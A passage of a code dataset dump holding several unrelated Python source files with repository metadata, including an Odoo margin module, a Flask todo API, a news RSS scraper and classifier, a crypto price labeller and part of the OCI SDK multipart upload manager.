\"margin_classification_id.price_round\",\n \"margin_classification_id.price_surcharge\",\n \"product_tmpl_id.taxes_id\",\n \"product_tmpl_id.list_price\",\n )\n def _compute_theoretical_multi(self):\n for product in self:\n (\n product.margin_state,\n product.theoretical_price,\n product.theoretical_difference,\n ) = self._get_margin_info(\n product.margin_classification_id,\n product.taxes_id,\n product.name,\n product.standard_price,\n product.lst_price,\n )\n\n @api.model\n def _get_margin_info(\n self, classification, sale_taxes, product_name, standard_price, sale_price\n ):\n precision = self.env[\"decimal.precision\"].precision_get(\"Product Price\")\n if classification:\n multi = (100 + classification.markup) / 100\n if sale_taxes.filtered(lambda x: x.amount_type != \"percent\"):\n raise ValidationError(\n _(\n \"Unimplemented Feature\\n\"\n \"The sale taxes are not correctly set for computing\"\n \" prices with coefficients for the product %s\"\n )\n % (product_name)\n )\n for tax in sale_taxes.filtered(lambda x: x.price_include):\n multi *= (100 + tax.amount) / 100.0\n theoretical_price = (\n tools.float_round(\n standard_price * multi,\n precision_rounding=classification.price_round,\n )\n + classification.price_surcharge\n )\n else:\n theoretical_price = sale_price\n difference = sale_price - theoretical_price\n compare = float_compare(difference, 0, precision_digits=precision)\n if compare < 0:\n margin_state = \"too_cheap\"\n elif compare > 0:\n margin_state = \"too_expensive\"\n else:\n margin_state = \"correct\"\n return (margin_state, theoretical_price, difference)\n\n # Custom Section\n def use_theoretical_price(self):\n for product in self:\n product.lst_price = product.theoretical_price\n","repo_name":"pronexo-argentina/account_payment","sub_path":"16/product_margin_classification/models/product_product.py","file_name":"product_product.py","file_ext":"py","file_size_in_byte":3508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"8410138431","text":"from typing import Any\n\nfrom flask import Blueprint, Response, jsonify, redirect, request, url_for\nfrom marshmallow import ValidationError\n\nfrom app.db.db import posts\nfrom app.models.post import Post\nfrom app.validation.post import PostSchema\n\ntodo_blueprint = Blueprint(\"todo_blueprint\", __name__)\n\n\n@todo_blueprint.get(\"/\")\ndef get_all_posts() -> tuple[Response, int]:\n schema = PostSchema(many=True)\n priority_query = request.args.get(\"priority\", type=int)\n\n if priority_query:\n result = [post for post in posts if post.priority == priority_query]\n return jsonify(schema.dump(result)), 200\n else:\n return jsonify(schema.dump(posts)), 200\n\n\n@todo_blueprint.get(\"/\")\ndef get_post(id) -> tuple[Response, int]:\n schema = PostSchema()\n result = list(filter(lambda post: post.id == id, posts))\n if len(result) == 0:\n return jsonify([]), 200\n else:\n return jsonify(schema.dump(result[0])), 200\n\n\n@todo_blueprint.post(\"/>\")\ndef create_post(id: int) -> Response:\n create_request_data: Any = request.json\n schema = PostSchema()\n\n try:\n result = schema.load(create_request_data)\n except ValidationError as err:\n return jsonify(err.messages, 400)\n\n posts.append(result)\n\n response_data = schema.dump(result)\n return jsonify(response_data, 201)\n\n\n@todo_blueprint.put(\"/\")\ndef update_post(id: int) -> Response:\n update_request_data: Any = request.json\n schema = PostSchema()\n\n try:\n result: Post = schema.load(update_request_data)\n except ValidationError as err:\n return jsonify(err.messages, 400)\n\n found_post = list(filter(lambda post: post.id == result.id, posts))\n index_of_found_post = posts.index(found_post[0])\n\n if len(found_post) == 0:\n return redirect(\"not_found\")\n else:\n posts[index_of_found_post] = result\n return redirect(url_for(\"todo_blueprint.get_post\", id=id), 201)\n\n\n@todo_blueprint.delete(\"/\")\ndef delete_post(id: int) -> Response:\n found_post = list(filter(lambda post: post.id == id, posts))\n\n if len(found_post) == 0:\n return redirect(\"not_found\")\n else:\n posts.remove(found_post[0])\n return redirect(\"get_all_posts\"), 201\n\n\n@todo_blueprint.errorhandler(404)\ndef not_found(error: int | Exception) -> Response:\n return jsonify(error, 404)\n","repo_name":"bella-cockrell/todo-python-web","sub_path":"todo-flask-app/app/controllers/todo.py","file_name":"todo.py","file_ext":"py","file_size_in_byte":2361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"29314787384","text":"import logging\nimport coloredlogs\nimport configparser\n\ndef parse_image_dimension_str(dim_str):\n return [int(dim) for dim in dim_str.split('x')]\n\ndef parse_image_subsel_dimension_str(dim_str):\n return [int(dim) for dim in dim_str.split(',')[2].split('x')]\n\ndef parse_image_subsel_position_str(dim_str):\n return [int(dim) for dim in dim_str.split(',')[0:2]]\n\n# Create a logger object.\nlogger = logging.getLogger(__name__)\ncoloredlogs.install(level='DEBUG')\n\n# Load config\nCONFIG_FILE = 'config.ini'\nconfig = configparser.ConfigParser()\nconfig.read(CONFIG_FILE)\n\nIMAGE_SIZE = config['common']['ImageSize']\nIMAGE_FORMAT = config['common']['ImageFormat']\nIMAGE_DATA_LOCATION = config['common']['ImageDataLocation']\nDATA_FILE_LINK_PREFIX = config['downloader']['DataFileLinkPrefix']\nLINK_MATCH_STR = DATA_FILE_LINK_PREFIX + IMAGE_SIZE + IMAGE_FORMAT\nDELETE_OLD_DATA = config.getboolean('downloader', 'DeleteOldData')\nKEEP_MOST_RECENT_IMAGE = config.getboolean(\n 'downloader', 'SkipMostRecentImageCleanup'\n)\nDATA_URL = config['downloader']['DataURL']\nPOLL_TIME_SEC = config.getint('downloader', 'PollTimeSec')\nINITIAL_DOWNLOAD_WINDOW_MINS = config.getint('common', 'DisplayWindowMins')\nIMAGE_DIMENSIONS = parse_image_dimension_str(config['common']['ImageSize'])\n\nIMAGE_POSTPROCESSING_ENABLED = config.getboolean('imageprocessor', 'Enabled')\nIMAGE_POSTPROCESSING_SUBSEL_SIZE = parse_image_subsel_dimension_str(config['imageprocessor']['ImageSubSelection'])\nIMAGE_POSTPROCESSING_SUBSEL_POS = parse_image_subsel_position_str(config['imageprocessor']['ImageSubSelection'])\n\nDRIVER_PATH = './drivers/chromedriver'","repo_name":"tomtupy/2phome","sub_path":"live_earth_downloader/lib/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"33852212135","text":"def _swap(tab, i, j):\n tab[i], tab[j] = tab[j], tab[i]\n\ndef _heapify(tab):\n start = (len(tab) - 2) / 2\n while start >= 0:\n _sift_down(tab, start, len(tab)-1)\n start -= 1\n\ndef _sift_down(tab, start, end):\n root = start\n while root * 2 + 1 <= end:\n child = root * 2 + 1\n swap = root\n if tab[swap] < tab[child]:\n swap = child\n if child + 1 <= end and tab[swap] < tab[child+1]:\n swap = child + 1\n if swap != root:\n _swap(tab, root, swap)\n root = swap\n else:\n return\n\ndef heap_sort(tab):\n tab2 = tab[:]\n _heapify(tab2)\n end = len(tab2)-1\n while end > 0:\n _swap(tab2, end, 0)\n end -= 1\n _sift_down(tab2, 0, end)\n return tab2\n","repo_name":"flememl/benchmarks","sub_path":"python/heap_sort.py","file_name":"heap_sort.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"44229355200","text":"import os \nimport pandas as pd \n\n\ninpath = 'dataset/{}_S{}.csv'\noutpath = 'dataset/_{}_S{}.csv'\n\ndef change_csv(inpath, outpath):\n with open(inpath) as r:\n with open(outpath, 'w+') as w:\n for line in r:\n w.write(line[1:-2] + '\\n')\n\nfor i in ['805', '809', '814']:\n for j in ['train', 'test']:\n change_csv(inpath.format(j, i), outpath.format(j, i))","repo_name":"mercier111/flow","sub_path":"change_csv.py","file_name":"change_csv.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"11215657701","text":"import feedparser\nimport urllib.request\nfrom bs4 import BeautifulSoup\nimport datetime\nimport pandas as pd\nfrom tqdm import tqdm\nimport re\nimport time\nimport socket\nfrom nltk.stem.snowball import SnowballStemmer\nfrom collections import Counter\nimport numpy as np\n\nNEWS_FILE = 'data.csv.gz'\n\ndef source_from_url(url):\n return re.search(r'(?<=:\\/\\/)([^\\:\\/\\s]+)(?=\\/)', url).group(0)\n\n\ndef clean_whitespace(text):\n text = re.sub(r'\\n+', ' ', text)\n text = re.sub(r'\\t', ' ', text)\n text = re.sub(r'\\ {2,}', ' ', text)\n return text\n\ndef parse_nplus1(entry):\n url = entry['link']\n if \"news\" not in url: # отсеиваем блоги и т.п.\n return\n with urllib.request.urlopen(url) as fp:\n content = fp.read().decode(\"utf8\")\n soup = BeautifulSoup(content, 'html.parser')\n text = ' '.join(p.text for p in soup.select('div.body.js-mediator-article > p'))\n text = text.replace(entry['author'], '').replace('\\xa0', ' ').replace('Поделиться', ' ')\n if not text: \n return\n \n return {'url': url, 'title': entry['title'], 'text': text,\n 'dt': pd.Timestamp(entry['published']).tz_convert('Europe/Moscow'),\n 'cat': 'nauka', 'source': 'nplus1.ru'}\n\n\ndef parse_tvkultura(entry):\n text = entry['yandex_full-text'].replace('Новости культуры', '')\n if not text: \n return\n\n return {'url': entry['link'], 'title': entry['title'], 'text': text,\n 'dt': pd.Timestamp(entry['published']).tz_convert('Europe/Moscow'),\n 'cat': 'kultura', 'source': 'tvkultura.ru'}\n\n\ndef parse_tass(entry):\n main_cats = ['politika', 'obschestvo', 'mezhdunarodnaya-panorama', 'sport',\n 'ekonomika', 'v-strane', 'proisshestviya', 'kultura', 'nauka']\n url = entry['link']\n cat = url[url.find('.ru/')+4:]\n cat = cat[:cat.find('/')]\n if cat not in main_cats:\n return \n \n with urllib.request.urlopen(url) as fp:\n content = fp.read().decode(\"utf8\")\n\n soup = BeautifulSoup(content, 'html.parser')\n text = ' '.join(p.text for p in soup.select('div.b-material-text__l.js-mediator-article > p'))\n if not text: \n return\n\n text = text[text.find('.') + 1:] # Дата, город\n text = re.sub('/[А-Яа-яЁё \\.]*/\\.', ' ', text) # / Корр.ТАСС Михаил Тимофеев /.\n\n return {'url': url, 'title': entry['title'], 'text': text, \n 'dt': pd.Timestamp(entry['published']).tz_convert('Europe/Moscow'), \n 'cat': cat, 'source': 'tass.ru'}\n\n\ndef load_source(dt_last_update, rss_url, parser_func):\n d = feedparser.parse(rss_url)\n news_arr = []\n for entry in tqdm(reversed(d['entries'])):\n dt_object = pd.Timestamp(entry['published']).tz_convert('Europe/Moscow')\n # пропускаем все уже загруженные новости\n if dt_last_update is not None and dt_object <= dt_last_update:\n continue\n else:\n news_object = parser_func(entry)\n if news_object is not None:\n news_object['text'] = clean_whitespace(news_object['text'])\n news_arr.append(news_object)\n \n return news_arr\n\n\ndef netcat(hostname, port, content):\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((hostname, port))\n s.sendall(content.encode(encoding='utf-8'))\n s.shutdown(socket.SHUT_WR)\n while 1:\n data = s.recv(1024)\n if data != \"\":\n print(data)\n break\n print(\"Connection closed.\")\n s.close() \n\n \ndef get_stop_words():\n stemmer = SnowballStemmer(\"russian\") \n with open('./stop-words-russian.txt', encoding='utf-8') as f:\n my_stop_words = f.read().splitlines()\n my_stop_words += ['тасс']\n my_stop_words = set(filter(lambda x: len(x) > 1, (stemmer.stem(w) for w in my_stop_words)))\n return my_stop_words\n\n\ndef update_model(df):\n stemmer = SnowballStemmer(\"russian\") \n def preprocess_stem(t):\n t = re.sub(\"[^А-Яа-яЁё]\", \" \", t.lower())\n t = t.replace('ё', 'е').replace('Ё', 'Е')\n return list(filter(lambda x: len(x) > 1, (stemmer.stem(w) for w in t.split())))\n \n cats = df['cat'].unique().tolist()\n with open('./classes.txt', 'w') as f:\n f.write(' '.join(cats))\n \n print('Обновление модели, количество документов: {}, количество категорий: {}'.format(\n df.shape[0], len(cats)))\n \n cat2code = dict(zip(cats, range(len(cats))))\n print(cat2code)\n \n df['stems'] = (df['title'] + df['text']).apply(preprocess_stem) # столбец с основами\n y = df['cat'].map(cat2code) # коды категорий\n \n # подсчёт встречаемости слов\n df_counts = pd.DataFrame(df['stems'].apply(lambda x: dict(Counter(x))).tolist()).fillna(0)\n print('Общее количество слов: ', df_counts.shape[1])\n ind = np.where((df_counts > 0).sum(axis=0) >= 2)[0] # хотя бы в двух документах\n vocab = sorted(set(df_counts.columns[ind]) - get_stop_words())\n d = df_counts.loc[:, vocab].values\n print('Количество отобранных слов:', len(vocab))\n\n with open('./words.txt', 'w') as f:\n f.write(' '.join(vocab))\n\n # 1. TF-преобразование (частота слова в документах)\n d = np.log(d + 1)\n # 2. IDF преобразование (количество появлений каждого слова в документах)\n d *= np.log(d.shape[0] / ((d > 0).sum(axis=0)))\n # 3. Нормализация на длину документов\n d = (d.T / np.sqrt((d**2).sum(axis=1))).T\n\n # 4. Мы хотим каждому слову приписать вероятность быть обнаруженным в тексте класса с.\n # Делаем это через дополнение по классам -- то есть смотрим на слова в документах остальных классов \n psi = np.zeros((len(cats), len(vocab)))\n\n for cat in tqdm(range(len(cats))):\n d_compl = d[np.where(y!=cat)[0], :]\n denom = d_compl.sum() + len(vocab) * 0.1\n psi[cat, :] = (d_compl.sum(axis=0) + 0.1) / denom\n\n w = np.log(psi)\n w = (w.T / np.abs(w).sum(axis=1)).T\n\n np.savetxt(fname='./weights.txt', X=w, delimiter=' ')\n print('Новые параметры модели успешно рассчитаны и сохранены')\n \n with open('./classes.txt', 'r') as f:\n classes = f.read()\n with open('./words.txt', 'r') as f:\n words = f.read()\n with open('./weights.txt', 'r') as f:\n weights = f.read()\n\n netcat('127.0.0.1', 3540, 'UPDATE\\n{}\\n{}\\n{}\\n\\n'.format(words, classes, weights))\n print('Параметры модели успешно отправлены на сервер')\n\n\ndef main():\n \n # пустой датафрейм с типами данных на случай отсутствия базы данных\n empty_data = dict(zip(['title', 'text', 'url', 'source', 'cat'], [pd.Series(dtype=\"O\")]*5)) \n empty_data['dt'] = pd.Series(dtype='datetime64[ns]')\n df = pd.DataFrame(empty_data)\n \n emptyDatabase = True\n \n while True:\n try:\n df = pd.read_csv(NEWS_FILE, error_bad_lines=False, parse_dates=['dt'] )\n df['dt'] = df['dt'].dt.tz_localize('UTC').dt.tz_convert('Europe/Moscow')\n emptyDatabase = False\n except:\n print('Файл с базой данных новостей отсутствует. Будет создан новый файл.')\n \n \n sources = [('http://tass.ru/rss/v2.xml', parse_tass), \n ('https://tvkultura.ru/rss/yandex/', parse_tvkultura),\n ('https://nplus1.ru/rss', parse_nplus1)]\n\n for url, parser in sources:\n source = source_from_url(url)\n dt_last_update = None if emptyDatabase else df.query('source == @source')['dt'].max()\n print('Источник: {} | Последнее обновление {} | Загрузка новостей...'.format(source, dt_last_update))\n news_arr = load_source(dt_last_update, url, parser)\n if news_arr:\n df = df.append(news_arr, ignore_index=True)\n print('Источник: {} | Добавлено новостей: {}'.format(source, len(news_arr)))\n else:\n print('Источник: {} | Свежих новостей нет'.format(source))\n\n if emptyDatabase:\n emptyDatabase = False\n \n df.dropna(inplace=True) # для новостей с непрогрузившимся текстом\n df.to_csv(NEWS_FILE, index=False, compression='gzip')\n update_model(df)\n time.sleep(60*20)\n \nif __name__ == '__main__':\n main()\n","repo_name":"SergLih/Classification_of_news","sub_path":"parser/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":9147,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"6674375399","text":"import pandas as pd\nimport requests\nimport json\nfrom tqdm import tqdm\n\nurl = \"https://api.upbit.com/v1/candles/days\"\n\noriginal = pd.read_csv('./disclosure.csv')\n\ncolumns = {\n '코인 명': [],\n '공시 명': [],\n '날짜': [],\n '마켓': [],\n '전일 종가': [],\n '최저가': [],\n '최고가': [],\n 'BTC 상승률': [],\n '상승률': []\n}\ndataset = pd.DataFrame(columns)\n\nfor i in tqdm(range(0, 577)):\n coin = original.iloc[i]['코인 명']\n coin_KRW = 'KRW-{}'.format(coin)\n date = '{}T23:59:59Z'.format(original.iloc[i]['날짜'].replace('.','-'))\n\n # KRW 마켓 조회\n querystring = {\"market\":coin_KRW,\"to\":date,\"count\":\"1\",\"convertingPriceUnit\":\"KRW\"}\n response = requests.request(\"GET\", url, params=querystring)\n\n # KRW 비상장 코인일 경우 BTC 마켓으로 재조회\n if (response.status_code != 200 or response.text == '[]'):\n coin_BTC = \"BTC-{}\".format(coin)\n querystring = {\"market\":coin_BTC,\"to\":date,\"count\":\"3\",\"convertingPriceUnit\":\"KRW\"}\n response = requests.request(\"GET\", url, params=querystring)\n \n BTCstring = {\"market\":'KRW-BTC',\"to\":date,\"count\":\"3\"}\n BTC_response = requests.request(\"GET\", url, params=BTCstring)\n BTC_change = BTC_response.json()[0]['change_rate']\n\n if (response.status_code == 200):\n new_data = {\n '코인 명': original.iloc[i]['코인 명'],\n '공시 명': original.iloc[i]['공시 명'],\n '날짜': original.iloc[i]['날짜'],\n '마켓': response.json()[0]['market'][:3],\n '전일 종가': response.json()[0]['prev_closing_price'],\n '최저가': response.json()[0]['low_price'],\n '최고가': response.json()[0]['high_price'],\n 'BTC 상승률': \"{}%\".format(round(BTC_change*100,2)),\n '상승률': \"{}%\".format(round(((response.json()[0]['high_price']/response.json()[0]['prev_closing_price'])-1)*100,2))\n }\n dataset = dataset.append(new_data, ignore_index=True)\n\ndataset.to_csv('disclosure_price.csv')\n\nprint(\"FINISH\")","repo_name":"nsce9806q/makemoney","sub_path":"data_labling_upbit.py","file_name":"data_labling_upbit.py","file_ext":"py","file_size_in_byte":2077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"31598543499","text":"import io\nimport hashlib\nimport base64\nimport logging\nimport platform\nfrom . import md5 as MD5\nfrom multiprocessing.dummy import Pool\nfrom os import stat\nfrom cryptography.exceptions import InternalError\nfrom ..constants import DEFAULT_PART_SIZE\nfrom ..constants import MEBIBYTE\nfrom .buffered_part_reader import BufferedPartReader\nfrom ... import models\nfrom ....exceptions import ServiceError, MultipartUploadError\nfrom oci.exceptions import RequestException, ConnectTimeout\nfrom oci._vendor.requests.exceptions import Timeout, ConnectionError\nfrom oci._vendor.six.moves.queue import Queue\nfrom threading import Semaphore\nfrom oci._vendor import six\nfrom oci.fips import is_fips_mode\nfrom ....version import __version__\n\nREAD_BUFFER_SIZE = 8 * 1024\nDEFAULT_PARALLEL_PROCESS_COUNT = 3\nDEFAULT_MAX_RETRIES = 5\nSSEC_PARAM_NAMES = [\n 'opc_sse_customer_algorithm',\n 'opc_sse_customer_key',\n 'opc_sse_customer_key_sha256'\n]\n\nCLIENT_VERSION = \"Oracle-PythonSDK/{}\".format(__version__)\nOS_VERSION = platform.platform()\nUPLOAD_MANAGER_DEBUG_INFORMATION_LOG = \"Client Version: {}, OS Version: {}, See https://docs.oracle.com/iaas/Content/API/Concepts/sdk_troubleshooting.htm for common issues and steps to resolve them. If you need to contact support, or file a GitHub issue, please include this full error message.\".format(CLIENT_VERSION, OS_VERSION)\n\nlogger = logging.getLogger(__name__)\n\n\nclass MultipartObjectAssembler:\n def __init__(self,\n object_storage_client,\n namespace_name,\n bucket_name,\n object_name,\n **kwargs\n ):\n \"\"\"\n MultipartObjectAssembler provides a simplified interaction when uploading large\n objects using multi-part uploads.\n\n An assembler can be used to begin a new upload, or resume a previous one.\n\n PLEASE NOTE that for oci versions < 2.23.2 and >= 2.18.0, the timeout for the object storage client is overwritten to `None` for all operations which\n call object storage. For this reason, the operations are NOT thread-safe, and you should provide the\n MultipartObjectAssembler class with its own Object Storage client that isn't used elsewhere.\n For more information please see `Known Issues `_\n\n :param ObjectStorageClient object_storage_client:\n A configured Object Storage client.\n\n :param str namespace_name:\n The namespace containing the bucket in which to store the object.\n\n :param str bucket_name:\n The name of the bucket in which to store the object.\n\n :param str object_name:\n The name to use for the object in Object Storage, or existing object name if resuming.\n\n :param int part_size (optional):\n Override the default part size of 128 MiB, value is in bytes.\n\n :param str if_match (optional):\n The entity tag of the object to match.\n\n :param str if_none_match (optional):\n The entity tag of the object to avoid matching. The only valid value is ‘*’,\n which indicates that the request should fail if the object\n already exists.\n\n :param str content_type (optional):\n The content type of the object to upload.\n\n :param str content_language (optional):\n The content language of the object to upload.\n\n :param str content_encoding (optional):\n The content encoding of the object to upload.\n\n :param str content_disposition (optional):\n The content disposition of the object to upload.\n\n :param str cache_control (optional):\n The cache control for the object to upload.\n\n :param dict metadata (optional):\n A dictionary of string to string values to associate with the object to upload\n\n :param bool allow_parallel_uploads (optional):\n Whether or not this MultipartObjectAssembler supports uploading parts in parallel. Defaults to True.\n\n :param int parallel_process_count (optional):\n The number of worker processes to use in parallel for performing a multipart upload. Default is 3.\n\n :param str opc_sse_customer_algorithm (optional):\n The encryption algorithm to use with the customer provided encryption key.\n\n :param str opc_sse_customer_key (optional):\n The base64-encoded 256-bit encryption key to use to encrypt the objects uploaded by this MultipartObjectAssembler.\n\n :param str opc_sse_customer_key_sha256 (optional):\n The base64-encoded SHA256 hash of the encryption key.\n\n :param str opc_sse_kms_key_id (optional):\n The OCID of a master encryption key used to call the Key Management Service to generate a data encryption key or to encrypt or decrypt a data encryption key.\n\n :param str storage_tier: (optional)\n The storage tier that the object should be stored in. If not specified, the object will be stored in\n the same storage tier as the bucket.\n\n Allowed values are: \"Standard\", \"InfrequentAccess\", \"Archive\"\n \"\"\"\n self.object_storage_client = object_storage_client\n\n self.part_size = DEFAULT_PART_SIZE\n if 'part_size' in kwargs:\n self.part_size = kwargs['part_size']\n self.if_match = None\n if 'if_match' in kwargs:\n self.if_match = kwargs['if_match']\n self.if_none_match = None\n if 'if_none_match' in kwargs:\n self.if_none_match = kwargs['if_none_match']\n self.content_type = None\n if 'content_type' in kwargs:\n self.content_type = kwargs['content_type']\n self.content_language = None\n if 'content_language' in kwargs:\n self.content_language = kwargs['content_language']\n self.content_encoding = None\n if 'content_encoding' in kwargs:\n self.content_encoding = kwargs['content_encoding']\n self.content_disposition = None\n if 'content_disposition' in kwargs:\n self.content_disposition = kwargs['content_disposition']\n self.cache_control = None\n if 'cache_control' in kwargs:\n self.cache_control = kwargs['cache_control']\n self.metadata = None\n if 'metadata' in kwargs:\n self.metadata = kwargs['metadata']\n self.storage_tier = None\n if 'storage_tier' in kwargs:\n self.storage_tier = kwargs['storage_tier']\n self.parallel_process_count = DEFAULT_PARALLEL_PROCESS_COUNT\n if 'parallel_process_count' in kwargs:\n if kwargs['parallel_process_count'] == 0:\n raise ValueError('parallel_process_count must be at least one.')\n\n self.parallel_process_count = kwargs['parallel_process_count']\n\n if 'allow_parallel_uploads' in kwargs and kwargs['allow_parallel_uploads'] is False:\n # if parallel uploads are disabled, use only a single process\n self.parallel_process_count = 1\n\n self.max_retries = DEFAULT_MAX_RETRIES\n self.manifest = {\"uploadId\": None,\n \"namespace\": namespace_name,\n \"bucketName\": bucket_name,\n \"objectName\": object_name,\n \"parts\": []}\n self.opc_sse_kms_key_id = kwargs['opc_sse_kms_key_id'] if 'opc_sse_kms_key_id' in kwargs else None\n\n # Copy SSE-C parameters (if any)\n self.ssec_params = {}\n for param_name in SSEC_PARAM_NAMES:\n if param_name in kwargs:\n self.ssec_params[param_name] = kwargs[param_name]\n\n @staticmethod\n def calculate_md5(file_path, offset, chunk):\n \"\"\"\n Calculate the base64 encoded MD5 hash for a part of a file.\n\n :param str file_path: Path to the file\n :param int offset: Offset where the part starts in the file\n :param int chunk: Number of bytes in the part\n :return: Base64 encoded MD5 hash\n :rtype: str\n \"\"\"\n\n # Determine if we can use the hashlib version of md5 or the bundled\n # version of md5\n if is_fips_mode():\n try:\n md5 = MD5.md5()\n except InternalError as ex:\n logger.warning(\"An exception occur due to {}. Fallback to using hashlib.new('md5', usedforsecurity=false) for md5.\".format(ex))\n md5 = hashlib.new('md5', usedforsecurity=False)\n else:\n md5 = hashlib.md5()\n\n m = md5\n with io.open(file_path, mode='rb') as f:\n bpr = BufferedPartReader(f, offset, chunk)\n while True:\n part = bpr.read(READ_BUFFER_SIZE)\n if part == b'':\n break\n m.update(part)\n return base64.b64encode(m.digest()).decode(\"utf-8\")\n\n @staticmethod\n def _is_exception_retryable(e):\n \"\"\"\n Determines if the service should attempt to retry an operation based\n on the type of exception\n\n retry if\n timeout\n Connection error\n unknown client exception: status == -1\n server exception: status >= 500\n Potential edge case: status == 409\n\n :param e: Exception\n :return: Boolean\n \"\"\"\n retryable = False\n if isinstance(e, Timeout):\n retryable = True\n elif isinstance(e, ConnectionError):\n retryable = True\n elif isinstance(e, RequestException):\n retryable = True\n elif isinstance(e, ConnectTimeout):\n retryable = True\n elif isinstance(e, ServiceError):\n if e.status >= 500 or e.status == -1 or (e.status == 409 and e.code == \"ConcurrentObjectUpdate\") or (e.status == 429):\n retryable = True\n\n return retryable\n\n def _upload_part_call(self, object_storage_client, **kwargs):\n with io.open(kwargs[\"part_file_path\"], mode='rb') as file_object:\n bpr = BufferedPartReader(file_object, kwargs[\"offset\"], kwargs[\"size\"])\n\n return object_storage_client.upload_part(\n kwargs[\"namespace\"],\n kwargs[\"bucket_name\"],\n kwargs[\"object_name\"],\n kwargs[\"upload_id\"],\n kwargs[\"part_num\"],\n bpr,\n **kwargs['new_kwargs'])\n\n def add_parts_from_file(self, file_path):\n \"\"\"\n Splits a file into parts and adds all parts to an internal list of parts to upload. The parts will not be uploaded to the server until upload is called.\n\n :param string file_path: Path of file to upload in parts\n \"\"\"\n with io.open(file_path, mode='rb') as file_object:\n file_object.seek(0, io.SEEK_END)\n end = file_object.tell()\n file_object.seek(0, io.SEEK_SET)\n offset = 0\n while file_object.tell() < end:\n remaining = end - offset\n self.add_part_from_file(file_path, offset=offset, size=self.part_size if remaining > self.part_size else remaining)\n offset += self.part_size\n file_object.seek(offset, io.SEEK_SET)\n\n def add_part_from_file(self,\n file_path,\n offset=0,\n size=None,\n part_hash=None):\n \"\"\"\n Add a part to internal list of parts to upload. The part will not be uploaded to the server until upload is called.\n\n :param str file_path: Path to file\n :param offset: Offset of part in file\n :param size: Size of the part in bytes\n :param part_hash: Base64 encoded MD5 hash of the part\n \"\"\"\n if size is None:\n size = stat(file_path).st_size\n\n self.manifest[\"parts\"].append({\"file_path\": file_path,\n \"offset\": offset,\n \"size\": size,\n \"hash\": part_hash})\n\n def abort(self, **kwargs):\n \"\"\"\n Abort the multipart upload\n\n :param str upload_id (optional): The upload id to abort. If not provided, will attempt to abort the upload created internally by new_upload.\n\n :param str opc_client_request_id: (optional)\n The client request ID for tracing\n \"\"\"\n if 'upload_id' in kwargs:\n self.manifest[\"uploadId\"] = kwargs['upload_id']\n kwargs.pop('upload_id')\n\n if not self.manifest[\"uploadId\"]:\n raise ValueError(\"Cannot abort without an upload id.\")\n\n self.object_storage_client.abort_multipart_upload(self.manifest[\"namespace\"],\n self.manifest[\"bucketName\"],\n self.manifest[\"objectName\"],\n self.manifest[\"uploadId\"],\n **kwargs)\n\n def resume(self, **kwargs):\n \"\"\"\n Resume uploading a multipart object to Object Storage\n\n :param str upload_id (optional): The upload id to resume. If not provided, will attempt to resume the upload created internally by new_upload.\n\n :param function progress_callback (optional):\n Callback function to receive the number of bytes uploaded since\n the last call to the callback function.\n\n :param str opc_client_request_id: (optional)\n The client request ID for tracing\n \"\"\"\n if 'upload_id' in kwargs:\n self.manifest[\"uploadId\"] = kwargs['upload_id']\n kwargs.pop('upload_id')\n\n # Verify that the upload id is valid\n if self.manifest[\"uploadId\"] is None:\n raise ValueError(\"Cannot resume without an upload id.\")\n\n upload_kwargs = {}\n if 'progress_callback' in kwargs:\n upload_kwargs['progress_callback'] = kwargs['progress_callback']\n kwargs.pop('progress_callback')\n\n # Get parts details from object storage to see which parts didn't complete\n has_next_page = True\n while has_next_page:\n response = self.object_storage_client.list_multipart_upload_parts(self.manifest[\"namespace\"],\n self.manifest[\"bucketName\"],\n self.manifest[\"objectName\"],\n self.manifest[\"uploadId\"],\n **kwargs)\n # Update manifest with information from object storage\n parts = self.manifest[\"parts\"]\n for part in response.data:\n part_index = part.part_number - 1\n if -1 < part_index < len(parts):\n manifest_part = parts[part_index]\n if manifest_part[\"size\"] != part.size:\n raise ValueError('Cannot resume upload with different part size. Parts were uploaded with a part size of {} MiB'.format(part.size / MEBIBYTE))\n manifest_part[\"etag\"] = part.etag\n manifest_part[\"opc_md5\"] = part.md5\n elif part_index >= len(parts):\n raise ValueError('There are more parts on the server than parts to resume, please check the upload ID.')\n has_next_page = response.has_next_page\n kwargs['page'] = response.next_page\n\n # Upload parts that are missing or incomplete\n self.upload(**upload_kwargs)\n\n def new_upload(self, **kwargs):\n \"\"\"\n Create a new multipart upload in Object Storage and add the upload\n id to the manifest\n\n :param str opc_client_request_id: (optional)\n The client request ID for tracing.\n \"\"\"\n if self.manifest['uploadId']:\n raise RuntimeError('Cannot call new_upload again once an upload has already been created.')\n\n request = models.CreateMultipartUploadDetails()\n request.object = self.manifest[\"objectName\"]\n if self.content_type:\n request.content_type = self.content_type\n if self.content_language:\n request.content_language = self.content_language\n if self.content_encoding:\n request.content_encoding = self.content_encoding\n if self.content_disposition:\n request.content_disposition = self.content_disposition\n if self.cache_control:\n request.cache_control = self.cache_control\n if self.metadata:\n # TODO: look into moving this into codegen for create_multipart_upload like it is for put_object\n processed_metadata = {}\n for key, value in six.iteritems(self.metadata):\n if not key.startswith('opc-meta-'):\n processed_metadata[\"opc-meta-\" + key] = value\n else:\n processed_metadata[key] = value\n self.metadata = processed_metadata\n\n request.metadata = self.metadata\n if self.storage_tier:\n request.storage_tier = self.storage_tier\n client_request_id = None\n if 'opc_client_request_id' in kwargs:\n client_request_id = kwargs['opc_client_request_id']\n\n kwargs = {}\n if client_request_id:\n kwargs['opc_client_request_id'] = client_request_id\n if self.if_match:\n kwargs['if_match'] = self.if_match\n if self.if_none_match:\n kwargs['if_none_match'] = self.if_none_match\n if self.opc_sse_kms_key_id:\n kwargs['opc_sse_kms_key_id'] 